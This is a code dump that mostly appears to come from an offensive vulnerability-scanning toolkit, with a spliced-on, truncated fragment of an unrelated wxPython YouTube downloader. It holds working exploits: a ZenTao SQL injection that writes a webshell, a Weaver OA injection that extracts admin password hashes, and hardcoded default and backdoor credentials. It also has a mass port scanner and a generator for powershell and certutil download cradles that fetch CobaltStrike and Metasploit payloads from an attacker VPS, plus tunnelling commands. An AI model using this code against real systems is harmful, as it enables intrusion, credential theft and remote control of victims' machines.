"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager" class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def wui_sql(self, url): resp = self.requestUtil.get(url + vul_path_8) if "1234" in resp.text: resp = self.requestUtil.get(url + pwd_path) return ["泛微OA8.0 前台SQL注入", "用户名: %s<br>MD5密码: %s" % ("sysadmin", resp.text)] else: return [] def fingerprint(self): try: if not self.service.url == "" and "/help/sys/help.html" in self.requestUtil.get(self.service.url).text: return True except: return False def poc(self): try: return self.wui_sql(self.service.url) except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # XXL-JOB任务调度中心 默认密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def login(self, url): resp = self.requestUtil.post(url + "/login", data="userName=admin&password=123456").json() print(resp["code"]) if resp["code"] == 200: return True def fingerprint(self): try: if "任务调度中心" in self.service.title: return True except: return False def poc(self): try: if self.login(self.service.url): return ["XXL-JOB任务调度中心 默认密码", "用户名: admin<br>密码: 123456"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 禅道 11.6 远程命令执行 import re from .. import requestUtil, fileUtil from ServiceScanModel.models import ServiceScan from . import zentao_sql_poc from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def fingerprint(self): try: poc = zentao_sql_poc.POC(self.service) return poc.fingerprint() except: return False def poc(self): try: if True: poc = zentao_sql_poc.POC(self.service) path = re.findall("zentao_path: (.*?),", self.service.speciality, re.DOTALL)[0] url = self.service.url + path print(url) if not "version" in self.service.speciality: version = poc.get_version(url) self.service.speciality += "version: %s," % version poc.service.save() else: version = float(re.findall("version: (.*?),", self.service.speciality)[0]) if version == 11.6: return (["禅道 11.6 远程命令执行", "禅道版本: %s" % version], path) except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 禅道 V8.2-9.2.1 sql注入 import base64 import re from ServiceScanModel.models import ServiceScan from VulnScanModel.models import VulnScan from .zentao_sql_poc import POC import binascii from ..requestClass import Requests payload = '{"orderBy":"order limit 1;SET @SQL=0x{sql};PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}' origin_sql = "select '{content}' into outfile '{zentao_path}/{filename}'" class EXP: def __init__(self, vuln: VulnScan): self.vuln = vuln self.requestUtil = Requests(vuln.cookies) def get_path(self, url): def test(pwd_path): print(url + pwd_path) resp = self.requestUtil.get(url + pwd_path) print(resp.text) abs_path = re.findall("创建(.*?)文件", resp.text)[0].replace("<span>", "").replace("</span>", "").replace("'", "").strip() if "tmp" in abs_path: return abs_path.split("tmp")[0] + "/www/" elif "www" in abs_path: return abs_path.split("www")[0] + "/www/" try: return test("/user-reset.html") except Exception as e: print(e) resp = self.requestUtil.get(url + "index.php?m=user&f=login") print(resp.text) pwd_path = re.findall("a href='(.*?)'.*?忘记密码", resp.text)[0] return test(pwd_path) def upload_file(self, url, zentao_path, filename, content): hex_sql = binascii.hexlify( origin_sql.format(content=content, zentao_path=zentao_path, filename=filename).encode()).decode() upload_payload = payload.replace("{sql}", hex_sql) b64_payload = base64.b64encode(upload_payload.encode()).decode() resp = self.requestUtil.get(url + f"?m=block&f=main&mode=getblockdata&blockid=case&param={b64_payload}", header={ "Referer": url }) resp = self.requestUtil.get(url + filename) if not "ERROR" in resp.text: return True def exp(self, cmd, content=""): poc = POC(ServiceScan(url=self.vuln.url, cookies=self.vuln.cookies)) url = self.vuln.url + self.vuln.specify zentao_path = self.get_path(url) if self.upload_file(url, zentao_path, cmd, content): return f"文件上传成功, shell路径:\n{url}{cmd}" --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 禅道 V8.2-9.2.1 sql注入 import re from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests def get_value(v): fv = v.split(".")[0] lv = "".join(v.split(".")[1:]) return float(f"{fv}.{lv}") class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def get_version(self, url): resp = self.requestUtil.get(url + "?mode=getconfig").json() version = get_value(resp["version"]) print(version) return version def fingerprint(self): try: service = self.service if service.url: if not "zentao_path: " in service.speciality: resp = self.requestUtil.get(service.url) if "self.location=" in resp.text: service.speciality = "zentao_path: /, " elif "欢迎使用禅道集成运行环境" in resp.text and "开源版" in resp.text: service.speciality = "zentao_path: %s, " % re.findall("href='(.*?)'.*?开源版", resp.text)[0] service.save() return service.speciality except: return False def poc(self): try: service = self.service path = re.findall("zentao_path: (.*?),", service.speciality, re.DOTALL)[0] url = service.url + path if not "version" in service.speciality: version = self.get_version(url) service.speciality += "version: %s," % version service.save() else: version = float(re.findall("version: (.*?),", service.speciality)[0]) if 8.2 < version < 9.21: return (["禅道 V8.2-9.2.1 sql注入", "禅道版本: %s" % version], path) except Exception as e: print(e) return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # 中新金盾信息安全管理系统 默认密码 from .. import fileUtil from ServiceScanModel.models import ServiceScan from ..requestClass import Requests class POC: def __init__(self, service: ServiceScan): self.service = service self.requestUtil = Requests(service.cookies) self.result = False def login(self, url): resp = self.requestUtil.post(url+"/?q=common/login", cookies="PHPSESSID=8cffa2fed0d07932cc3e6905f4760a66; check_code=1", data="name=admin&password=zxsoft1234!%40%23%24&checkcode=1&doLoginSubmit=1") if resp.text == "1": return True def fingerprint(self): try: if self.service.title == "中新金盾信息安全管理系统": return True except: return False def poc(self): try: if self.login(self.service.url): return ["中新金盾信息安全管理系统 默认密码", "用户名: admin<br>密码: zxsoft1234!@#$"] except: return [] --- FILE SEPARATOR --- # -*- coding:utf-8 -*- # Zyxel 硬编码后门账户 import ftplib from .. import requestUtil from ServiceScanModel.models import ServiceScan import socket class POC: def __init__(self, service: ServiceScan): self.service = service def fingerprint(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.5) s.connect((self.service.ip, 21)) return True except: return False def poc(self): try: ftp = ftplib.FTP(self.service.ip, timeout=0.5) ftp.login("zyfwp", "PrOw!aN_fXp") return ["Zyxel 硬编码后门账户", "用户名: zyfwp<br>密码: PrOw!aN_fXp"] except: return [] --- FILE SEPARATOR --- import requests from urllib3 import encode_multipart_formdata from ServiceScanModel.models import ServiceScan from vulscan_Project import requestUtil class Requests: def __init__(self, cookies: object = "") -> object: """ :rtype: object """ self.cookies = cookies def get(self, url, cookies="", header=None, timeout=10, session=""): if header == None: header = {} cookies = self.cookies.strip().strip(";") + ";" + cookies return requestUtil.get(url=url, cookies=cookies, header=header,timeout=timeout, session=session) def post(self, url, data="", cookies="", header=None, timeout=10, session="", files=None, shell=False): cookies = self.cookies.strip().strip(";") + ";" + cookies return requestUtil.post(url=url,data=data, cookies=cookies, header=header,timeout=timeout, session=session, files=files, shell=shell) def get_file_data(self, filename, filedata, param="file"): # param: 上传文件的POST参数名 data = {} data[param] = (filename, filedata) # 名称,读文件 encode_data = encode_multipart_formdata(data) return encode_data def session(): return requests.session() --- FILE SEPARATOR --- import base64 import json import re import configparser import os import threading import socket import traceback import requests import warnings from GroupModel.models import Group from ServiceScanModel.models import ServiceScan from ScanTaskModel.models import ScanTask from VulnScanModel.models import VulnScan from . import IpUtil, requestUtil, vpnUtil conf = configparser.ConfigParser() conf.read((os.path.dirname(os.path.abspath("settings.py"))) + "\config.ini") FOFA_EMAIL = conf.get("setting", "FOFA_EMAIL") FOFA_KEY = conf.get("setting", "FOFA_KEY") port_label = { 1433: "mssql-1433", 3306: "mysql-3306", 5432: "postgresql-5432", 6379: "redis-6379", 443: "https-443", 2375: "docker-2375", 22: "ssh-22", 23: "telnet-23", 1521: "oracle-1521", 3389: "rdp-3389" } type_dict = { "high": [2375, 1099, 3389, 22], "medium": [1433, 1521, 3306, 5432, 6379] } title_key_dict = { "锐捷网络--登录页面": "锐捷网络--登录页面", 'title ng-bind="settings.title"': "DELL IDAR登录", 'icewarp': "ICEWARP WEBCLIENT", } warnings.filterwarnings("ignore") class Scan(threading.Thread): def __init__(self, ip, port, task_id, url="", cookies="", webvpn=""): threading.Thread.__init__(self) self.ip = ip self.port = port self.task_id = task_id self.cookies = cookies self.webvpn = webvpn if self.port in type_dict["high"]: self.type = "high" elif self.port in type_dict["medium"]: self.type = "medium" else: self.type = "low" if not url == "": self.url = "http://" + url if not ("http" in url) else url else: self.url = "" def run(self): service_scan = None try: if self.url == "" and not "http" in self.webvpn: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.5) s.connect((self.ip, self.port)) if not self.port in type_dict["high"] and not self.port in type_dict["medium"]: if self.port != 443 and self.port != 8443: url = "http://%s:%s" % (self.ip, self.port) else: url = "https://%s:%s" % (self.ip, self.port) resp = requestUtil.get(url, cookies=self.cookies) else: resp = None service_scan = ServiceScan(ip=self.ip, port=self.port, taskid=self.task_id, type=self.type) else: if "http" in self.webvpn: vpn = vpnUtil.VPN(vpn_url=self.webvpn) url = vpn.get_url(self.ip, self.port).strip("/") resp = requestUtil.get(url, cookies=self.cookies) if "fail" in resp.text or "Not Found" in resp.text or "访问出错" in resp.text: return else: url = self.url.strip("/") resp = requestUtil.get(url, cookies=self.cookies) service_scan = ServiceScan(ip=self.ip, port=self.port, taskid=self.task_id, type=self.type) if resp == None: raise Exception try: index = resp.content.find(b'<title') content = resp.content[index:index + 100] title = re.findall(r"<title.*?>(.*?)</title>", content.decode("utf-8"), re.DOTALL)[0] if title == "": title = "空标题" except UnicodeDecodeError: try: title = re.findall(r"<title.*?>(.*?)</title>", content.decode("gbk"), re.DOTALL)[0] except: title = "空标题" except Exception as e: title = "空标题" try: server = resp.headers["Server"] except: server = "None" service_scan.title = title service_scan.server = server service_scan.url = url service_scan.cookies = self.cookies fingerprint(resp, service_scan) except Exception as e: pass finally: try: service_scan.save() except Exception as e: print(e) return def port_scan(ips, port_list, isStart=False, description="", group=1, webvpn="", cookies=""): url = "" if not "http" in ips: ip_list = IpUtil.get_all_ips(ips) if ip_list == []: return False else: url = ips ips = re.findall("://([^:/]*)", ips)[0] ip_list = [ips] task = ScanTask(ip_range=ips, task_count=len(ip_list) * len(port_list), isStart=isStart, description=description, group=group) task.save() tid = task.id scan_list = [] threads = 200 if not "http" in webvpn else 100 if url != "": scan = Scan(ips, 80, tid, cookies=cookies, webvpn=webvpn, url=url) scan.run() task.service_process = task.task_count task.save(update_fields=["service_process"]) return True for i in ip_list: for p in port_list: scan_list.append(Scan(i, p, tid, cookies=cookies, webvpn=webvpn, url=url)) if len(scan_list) % threads == 0: for s in scan_list: s.start() for s in scan_list: s.join() task.service_process += 1 task.save(update_fields=["service_process"]) scan_list = [] for s in scan_list: s.start() for s in scan_list: s.join() task.service_process += 1 task.save(update_fields=["service_process"]) return True def get_services(query, page=0, each_num=0): service_list = ServiceScan.objects.values("ip").extra(where=[query]).distinct() return service_list def get_count(task_id, page=0, each_num=0): # 获取结果集总数 query = "1=1" query += " and taskid=%s" % (task_id) service_list = get_services(query, page, each_num) return service_list.count() def get_results(task_id, isAll=False, page=1, each_num=100): # 获取扫描结果,isAll=True获取所有结果,否则获取未显示结果 result_list = [] if isAll: query = "1=1" else: query = "isShown=False" query += " and taskid=%s and ip in (select t.ip from (select distinct ip from servicescanmodel_servicescan where taskid=%s limit %d, %d) t)" % (task_id, task_id, (page-1)*each_num, each_num) service_list = ServiceScan.objects.order_by("ip").extra(where=[query]) temp_ip = "" result = {} for i in service_list: if i.ip != temp_ip: temp_ip = i.ip if not result == {}: result_list.append(result) result = {} result["ip"] = temp_ip result["vulnerable"] = i.vulnerable result["note"] = i.note result["ports"] = [] result["ports"].append({"label": port_label[i.port] if i.port in port_label else "http-%d" % i.port, "type": i.type, "title": i.title, "server": i.server, "url": i.url, "port": i.port}) i.isShown = True i.save() if result: result_list.append(result) return result_list def delete_task(task_id): task = ScanTask.objects.get(id=task_id) service_list = ServiceScan.objects.filter(taskid=task_id) vuln_list = VulnScan.objects.filter(taskid=task_id) task.delete() for i in service_list: i.delete() return True def fofa_scan(query, isStart=False, description=""): if not "country" in query: query += ' && country="CN" && region != "HK"' b_query = base64.b64encode(query.encode()).decode() resp = requestUtil.get(f"https://fofa.so/api/v1/search/all?email={FOFA_EMAIL}&key={FOFA_KEY}&qbase64={b_query}", timeout=20) print(resp.text) results = (json.loads(resp.text))["results"] task = ScanTask(ip_range=query.replace(' && country="CN" && region != "HK"', ''), task_count=len(results), isStart=isStart, mode="fofa", description=description) task.save() tid = task.id scan_list = [] count = 0 for i in results: count += 1 scan_list.append(Scan(i[1], i[2], tid, i[0])) if len(scan_list) % 5 == 0: for s in scan_list: task.service_process += 1 task.save(update_fields=["service_process"]) s.start() for s in scan_list: s.join() scan_list = [] for s in scan_list: task.service_process += 1 task.save(update_fields=["service_process"]) s.start() for s in scan_list: s.join() return True def fingerprint(resp, service_scan): page = resp.content.decode() for k, v in title_key_dict.items(): if k in page: service_scan.title = v break --- FILE SEPARATOR --- import base64 import codecs import os import re import traceback import configparser import random from math import floor from django.http import HttpRequest, HttpResponse, FileResponse from django.shortcuts import render from PwdModel.models import Pwd from . import json cmd_type_list = ["写入文件", "下载文件", "远控木马", "iox", "内网信息探测"] cmd_functions = ["write_cmd", "download_cmd", "payload_cmd", "iox_cmd", "system_cmd"] conf = configparser.ConfigParser() conf.read((os.path.dirname(os.path.abspath("settings.py"))) + "\config.ini") vps_url = conf.get("setting", "VPS_URL") vps_ip = conf.get("setting", "VPS_IP") cs_exe = conf.get("setting", "CS_EXE_URL") cs_powershell = conf.get("setting", "CS_POWERSHELL_URL") msf_exe = conf.get("setting", "MSF_EXE_URL") msf_powershell = conf.get("setting", "MSF_POWERSHELL_URL") key_list = [';', ':', " ", "\t"] iox_payload = """ [FWD模式]: *端口转发至本地: ./iox fwd -l {lport} -l {rport} *端口转发至VPS: (localhost) ./iox fwd -l {lport} -r {vps_ip}:{vport} (vps) ./iox fwd -l {vps_ip}:{vport} -r {vps_ip}:2333 [PROXY模式]: *本地开启Sock5服务: ./iox proxy -l {rport} *Sock5服务转发至VPS: <original> (localhost) ./iox proxy -r {vps_ip}:9999 (vps) ./iox proxy -l 9999 -l {vport} <encrypt> (localhost) ./iox fwd -l 1080 -r *{vps_ip}:9999 -k 000102 (vps) ./iox proxy -l *9999 -k 000102 """.strip() class CMD(): def __init__(self, request: HttpRequest): self.cmd_type = int(request.POST["ctype"]) self.encrypt_type = int(request.POST["etype"]) self.write_type = int(request.POST['wtype']) self.file = (request.POST['file']).replace("\\", "/") self.url = request.POST["url"] self.content = request.POST["content"] self.lport = request.POST["lport"] if request.POST["lport"] else "3389" self.rport = request.POST["rport"] if request.POST["rport"] else "12345" self.vport = request.POST["vport"] if request.POST["vport"] else "12345" self.cs_exe = request.POST["cs"] if request.POST["cs"] else cs_exe self.msf_exe = request.POST["msf"] if request.POST["msf"] else msf_exe self.cs_powshell = cs_powershell self.msf_powshell = msf_powershell self.length = 25 def write_cmd(self): def windows_cmd_0(): # 普通Windows写文件 cmd_list = [] all_content = self.content for i in range(0, floor(len(all_content) / self.length) + 1): content = all_content[self.length * i:self.length * (i + 1)] if content: cmd1 = f"echo {content} >> {self.file}" cmd_list.append(cmd1) return cmd_list def windows_cmd_1(): # base64加密Windows写文件 cmd_list = [] all_content = base64.b64encode(self.content.encode()).decode() for i in range(0, floor(len(all_content) / self.length) + 1): content = all_content[self.length * i:self.length * (i + 1)] tmp_file = "/".join(self.file.split("/")[:-1]) + ("/tmp.txt" if "/" in self.file else "tmp.txt") cmd1 = f"echo {content} >> {tmp_file}" cmd_list.append(cmd1) cmd2 = f"certutil -decode {tmp_file} {self.file}" cmd3 = f"del {tmp_file}" cmd_list.append(cmd2) cmd_list.append(cmd3) return cmd_list def linux_cmd_0(): # 普通Linux写文件 return windows_cmd_0() def linux_cmd_1(): # base64加密Linux写文件 cmd_list = [] all_content = base64.b64encode(self.content.encode()).decode() for i in range(0, floor(len(all_content) / self.length) + 1): content = all_content[self.length * i:self.length * (i + 1)] cmd1 = f"echo {content} | base64 -d >> {self.file}" cmd_list.append(cmd1) return cmd_list def php_cmd_0(): return f"<?php file_put_contents('{self.file}', '{self.content}'); ?>" if self.write_type != 0: self.length = len(self.content) if self.encrypt_type == 0: windows_payload = windows_cmd_1() linux_payload = linux_cmd_1() else: windows_payload = windows_cmd_0() linux_payload = linux_cmd_0() cmd_dict = {"WINDOWS": windows_payload, "LINUX": linux_payload, "PHP": php_cmd_0()} return cmd_dict def download_cmd(self): def windows_cmd_0(): return f"certutil.exe -urlcache -split -f {self.url} {self.file}" def powershell_cmd_0(): return f""" powershell "($client = new-object System.Net.WebClient) -and ($client.DownloadFile('{self.url}', '{self.file}')) -and (exit)" """.strip() def linux_cmd_0(): return f"wget {self.url} -P {self.file}" def php_cmd_0(): return f"<?php copy('{self.url}', '{self.file}'); ?>" if not "http://" in self.url: self.url = vps_url + self.url return {"WINDOWS": windows_cmd_0(), "POWERSHELL": powershell_cmd_0(), "LINUX": linux_cmd_0(), "PHP": php_cmd_0()} def system_cmd(self): pass def payload_cmd(self): def windows_cmd_0(url): filename = str(random.randint(1, 999)) + ".exe" return [f"certutil.exe -urlcache -split {url} -f {filename} ", filename] def windows_cmd_1(url): return f''' powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('{url}'))" '''.strip() return { "CobaltStrike-exe": windows_cmd_0(self.cs_exe), "CobaltStrike-powershell": windows_cmd_1(self.cs_powshell), "Metasploit-exe": windows_cmd_0(self.msf_exe), "Metasploit-powershell": windows_cmd_1(self.msf_powshell), } def iox_cmd(self): return iox_payload.format(vps_ip=vps_ip, lport=self.lport, rport=self.rport, vport=self.vport) def get_cmd(self): cmd_function = cmd_functions[int(self.cmd_type)] func = getattr(self, cmd_function) return func() def get_cmd_ctx(): ctx = {"cmd_type": cmd_type_list} return ctx def cmd(request: HttpRequest): ctx = get_cmd_ctx() if request.method == "GET": return render(request, "cmd.html", ctx) else: cmd = CMD(request) result_text = [] result = cmd.get_cmd() split_line = "\n" + "-" * 90 + "\n" if type(result) == dict: for k, v in result.items(): if type(v) == list: v = "\n ".join(v) result_text.append(f"[{k}]:\n {v}") result_text = split_line.join(result_text) else: result_text = result return HttpResponse(result_text) def get_pwd_ctx(): ctx = {"pwd_list": Pwd.objects.order_by("system").all()} return ctx def pwd_list(request: HttpRequest): if request.method == "GET": return render(request, "pwd_list.html", get_pwd_ctx()) def add_pwd(requset: HttpRequest): pwd_text = requset.POST["pwd"] pwd_list = pwd_text.split("\n") print(pwd_list) for p in pwd_list: p = p.replace(",", ",") for k in key_list: p.replace(k, ",") p = p.split(",") try: pwd = Pwd(system=p[0], username=p[1], password=p[2]) pwd.save() except: pass return HttpResponse("") --- FILE SEPARATOR --- import requests from Crypto.Cipher import AES key = "wrdvpnisthebest!" iv = "wrdvpnisthebest!" model = AES.MODE_OFB cookies = { "wengine_vpn_ticket": "e3436dc1fae3c051", "refresh": "1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate" } def add_16(text, mode): segmentByteSize = 16 if mode == "utf-8" else 32 if len(text) % segmentByteSize == 0: return text else: return text + "0" * (segmentByteSize - len(text)) def enc_ip(ip, port): aes = AES.new(key.encode("utf-8"), model, iv.encode("utf-8")) hash_ip = add_16(ip, "utf-8").encode("utf-8") protocal = f"http-{port}/" return protocal + iv.encode().hex() + aes.encrypt(hash_ip).hex()[0:len(ip) * 2] def decrpt_ip(ip): aes = AES.new(key.encode("utf-8"), model, iv.encode("utf-8")) return aes.decrypt(bytes.fromhex(ip[32:])) class VPN: def __init__(self, vpn_url): self.vpn_url = vpn_url def get_url(self, ip, port): return self.vpn_url + enc_ip(ip, port) + "/?wrdrecordvisit=record" if __name__ == '__main__': print(decrpt_ip("77726476706e69737468656265737421e3e44ed22f2566516b468ca88d1b203b"))
[ "/PwdModel/apps.py", "/PwdModel/models.py", "/ScanTaskModel/migrations/0012_scantask_group.py", "/ServiceScanModel/migrations/0007_auto_20210728_1525.py", "/ServiceScanModel/migrations/0009_alter_servicescan_isvpn.py", "/VulnScanModel/migrations/0009_vulnscan_cookies.py", "/vulscan_Project/json.py", "/vulscan_Project/modules/XenMobile_file_poc.py", "/vulscan_Project/modules/activemq_pwd_poc.py", "/vulscan_Project/modules/apache_flink_file_exp.py", "/vulscan_Project/modules/apache_flink_file_poc.py", "/vulscan_Project/modules/apache_solr_file_exp.py", "/vulscan_Project/modules/apache_solr_velocity_exp.py", "/vulscan_Project/modules/axis2_password_exp.py", "/vulscan_Project/modules/axis2_password_poc.py", "/vulscan_Project/modules/burp_ftp_poc.py", "/vulscan_Project/modules/burp_ssh_exp.py", "/vulscan_Project/modules/burp_tomcat_exp.py", "/vulscan_Project/modules/burp_tomcat_poc.py", "/vulscan_Project/modules/daloradius_pwd_exp.py", "/vulscan_Project/modules/daloradius_pwd_poc.py", "/vulscan_Project/modules/docker_poc.py", "/vulscan_Project/modules/fineport_v8_file_poc.py", "/vulscan_Project/modules/h3c_secparth_rce_exp.py", "/vulscan_Project/modules/h3c_secparth_rce_poc.py", "/vulscan_Project/modules/icewarp_rce_exp.py", "/vulscan_Project/modules/icewarp_rce_poc.py", "/vulscan_Project/modules/inspur_rce_exp.py", "/vulscan_Project/modules/inspur_rce_poc.py", "/vulscan_Project/modules/jinher_pwd_poc.py", "/vulscan_Project/modules/jumpserver_logs_poc.py", "/vulscan_Project/modules/kyan_pwd_exp.py", "/vulscan_Project/modules/kyan_pwd_poc.py", "/vulscan_Project/modules/landary_file_poc.py", "/vulscan_Project/modules/lanproxy_file_poc.py", "/vulscan_Project/modules/minio_ssrf_poc.py", "/vulscan_Project/modules/nacos_unauthorize_poc.py", "/vulscan_Project/modules/nc_bsh_rce_exp.py", "/vulscan_Project/modules/nc_bsh_rce_poc.py", "/vulscan_Project/modules/nete_firewall_poc.py", "/vulscan_Project/modules/node_red_file_poc.py", "/vulscan_Project/modules/panabit_pwd_exp.py", "/vulscan_Project/modules/panabit_pwd_poc.py", "/vulscan_Project/modules/ruijie_admin_exp.py", "/vulscan_Project/modules/ruijie_admin_poc.py", "/vulscan_Project/modules/safe_md5_pwd_poc.py", "/vulscan_Project/modules/sangfor_safe_rce_poc.py", "/vulscan_Project/modules/seeyon_webmail_poc.py", "/vulscan_Project/modules/showdoc_exp.py", "/vulscan_Project/modules/showdoc_poc.py", "/vulscan_Project/modules/thinkphp5_rce_exp.py", "/vulscan_Project/modules/thinkphp5_rce_poc.py", "/vulscan_Project/modules/thinkphp_debug_exp.py", "/vulscan_Project/modules/thinkphp_debug_poc.py", "/vulscan_Project/modules/tianqin_sql_poc.py", "/vulscan_Project/modules/vesystem_rce_poc.py", "/vulscan_Project/modules/vsphere_rce_exp.py", "/vulscan_Project/modules/vsphere_rce_poc.py", "/vulscan_Project/modules/weblogic_console_unauthorize_poc.py", "/vulscan_Project/modules/weblogic_pwd_poc.py", "/vulscan_Project/modules/weblogic_xml_poc.py", "/vulscan_Project/modules/wui_file_poc.py", "/vulscan_Project/modules/wui_sql_poc.py", "/vulscan_Project/modules/xxl_job_pwd_poc.py", "/vulscan_Project/modules/zentao_rce_poc.py", "/vulscan_Project/modules/zentao_sql_exp.py", "/vulscan_Project/modules/zentao_sql_poc.py", "/vulscan_Project/modules/zhongxin_pwd_poc.py", "/vulscan_Project/modules/zyxel_user_poc.py", "/vulscan_Project/requestClass.py", "/vulscan_Project/serviceUtil.py", "/vulscan_Project/tool.py", "/vulscan_Project/vpnUtil.py" ]
0r3k1/youtube_downloader
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import wx, time, threading, os, yt, webbrowser import wx.adv from wx.lib.scrolledpanel import ScrolledPanel from utilidades import children, _opt, exist_dir, back_dir, get_query from option import optionFrame from sqlite_3 import sqlite_3 from panel import panel myEVT_STREAM = wx.NewEventType() EVT_STREAM = wx.PyEventBinder(myEVT_STREAM, 1) class threadEvent(wx.PyCommandEvent): def __init__(self, etype, eid, value=None): wx.PyCommandEvent.__init__(self, etype, eid) self._value = value def GetValue(self): return self._value class streamThread(threading.Thread): def __init__(self, parent, value, opt): threading.Thread.__init__(self) self._parent = parent self._value = value self.opt = opt def run(self): if "playlist?list=" in self._value: streamL = yt.listStream(self._value, self.opt.lista_formato) stream = streamL.get_list_stream() if self.opt.lista_carpeta == 1: path = os.path.join(self.opt.lista_directorio, streamL.list_title) if not self.opt.lista_directorio == path: exist_dir(path) sqlite = sqlite_3() self.opt.lista_directorio = path sqlite.insert(get_query(self.opt)) sqlite.close() else: stream = yt.stream(self._value, self.opt.video_formato) evt = threadEvent(myEVT_STREAM, -1, stream) wx.PostEvent(self._parent, evt) class PopupMenu(wx.Menu): def __init__(self, parent): super(PopupMenu, self).__init__() self.parent = parent newItem = wx.MenuItem(self, wx.ID_ANY, "Pegar Link") miniItem = wx.MenuItem(self, wx.ID_ANY, "Minimizar") closeItem = wx.MenuItem(self, wx.ID_ANY, "Cerrar") self.Append(newItem) self.Append(miniItem) self.Append(closeItem) self.Bind(wx.EVT_MENU, self.onMinimize, miniItem) self.Bind(wx.EVT_MENU, self.onClose, closeItem) self.Bind(wx.EVT_MENU, self.onNew, newItem) def onMinimize(self, event): self.parent.Iconize() def onClose(self, event): self.parent.Close() def onNew(self, event): self.parent.onworker(event) class myScrolledPanel(ScrolledPanel): def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize, dir=wx.VSCROLL): ScrolledPanel.__init__(self, parent, id, pos, size, dir) self.SetScrollRate(5,5) self.SetScrollbar(wx.VERTICAL, 0, 20, 50) self.parent = parent self.mainsz = wx.BoxSizer(wx.VERTICAL) self.SetSizer(self.mainsz) self.Bind(wx.EVT_RIGHT_DOWN, self.onRightDown) def onRightDown(self, event): self.PopupMenu(PopupMenu(self.parent), event.GetPosition()) class Frame(wx.Frame): def __init__(self, parent, id=-1, title='', pos=wx.DefaultPosition, size=wx.DefaultSize, style=wx.DEFAULT_FRAME_STYLE, name="frame"): wx.Frame.__init__(self, parent, id, title, pos, size, style, name) self.SetIcon(wx.Icon(wx.IconLocation("img/logo.ico"))) self.id = 0 self.espera = 0 self.peticiones = 0 self.state = False self.pendiente = False self.opt = _opt() self.Bind(EVT_STREAM, self.onAdd) self.initUI() self.berificar_opciones() self.Centre(wx.BOTH) self.Show() def initUI(self): self.SetBackgroundColour((241, 240, 226)) self.menuBar() self.toolBar() self.statusbar = self.CreateStatusBar(2) self.statusbar_update() self.scroller = myScrolledPanel(self) def statusbar_update(self): self.statusbar.SetStatusText("conexiones en espera: {0}".format(self.peticiones), 0) self.statusbar.SetStatusText("videos en progreso: {0}".format(self.espera), 1) def toolBar(self): toolbar = self.CreateToolBar() toolbar.SetToolBitmapSize((40, 40)) toolbar.SetBackgroundColour((109, 144, 156)) ntool = toolbar.AddTool(wx.ID_ANY, "Pegar Link", wx.Bitmap("iconos/pastex40.png")) otool = toolbar.AddTool(wx.ID_ANY, "Opciones", wx.Bitmap("iconos/toolx40.png")) htool = toolbar.AddTool(wx.ID_ANY, "Ayuda", wx.Bitmap("iconos/helpx40.png")) ctool = toolbar.AddTool(wx.ID_ANY, "Limpiar", wx.Bitmap("iconos/cleanx40.png")) dtool = toolbar.AddTool(wx.ID_ANY, "Donacion", wx.Bitmap("iconos/donax40.png")) toolbar.Realize() self.Bind(wx.EVT_TOOL, self.onworker, ntool) self.Bind(wx.EVT_TOOL, self.options, otool) self.Bind(wx.EVT_TOOL, self.clean, ctool) self.Bind(wx.EVT_TOOL, self.donacion, dtool) self.Bind(wx.EVT_TOOL, self.help, htool) def menuBar(self): menu_bar = wx.MenuBar() fileMenu = wx.Menu() toolMenu = wx.Menu() helpMenu = wx.Menu() newItem = wx.MenuItem(fileMenu, wx.ID_ANY, "&Pegar Link\tCTRL+N") exitItem = wx.MenuItem(fileMenu, wx.ID_ANY, "&Salir\tCTRL+Q") newItem.SetBitmap(wx.Bitmap("iconos/newl.png")) exitItem.SetBitmap(wx.Bitmap("iconos/quit.png")) fileMenu.Append(newItem) fileMenu.AppendSeparator() fileMenu.Append(exitItem) prefItem = wx.MenuItem(toolMenu, wx.ID_ANY, "&Opciones\tCTRL+O") prefItem.SetBitmap(wx.Bitmap("iconos/pref.png")) toolMenu.Append(prefItem) helpItem = wx.MenuItem(helpMenu, wx.ID_ANY, "&Ayuda\tCTRL+H") aboutItem = wx.MenuItem(helpMenu, wx.ID_ANY, "&About\CTRL+A") helpItem.SetBitmap(wx.Bitmap("iconos/help.png")) aboutItem.SetBitmap(wx.Bitmap("iconos/about.png")) helpMenu.Append(helpItem) menu_bar.Append(fileMenu, "&Archivo") menu_bar.Append(toolMenu, "&Herramientas") menu_bar.Append(helpMenu, "&Ayuda") self.SetMenuBar(menu_bar) self.Bind(wx.EVT_MENU, self.onQuit, id=exitItem.GetId()) self.Bind(wx.EVT_MENU, self.onworker, id=newItem.GetId()) self.Bind(wx.EVT_MENU, self.options, id=prefItem.GetId()) self.Bind(wx.EVT_MENU, self.help, id=helpItem.GetId()) def onQuit(self, event): self.Close() def onworker(self, event): if not wx.TheClipboard.IsOpened(): do = wx.TextDataObject() wx.TheClipboard.Open() success = wx.TheClipboard.GetData(do) wx.TheClipboard.Close() if success: url 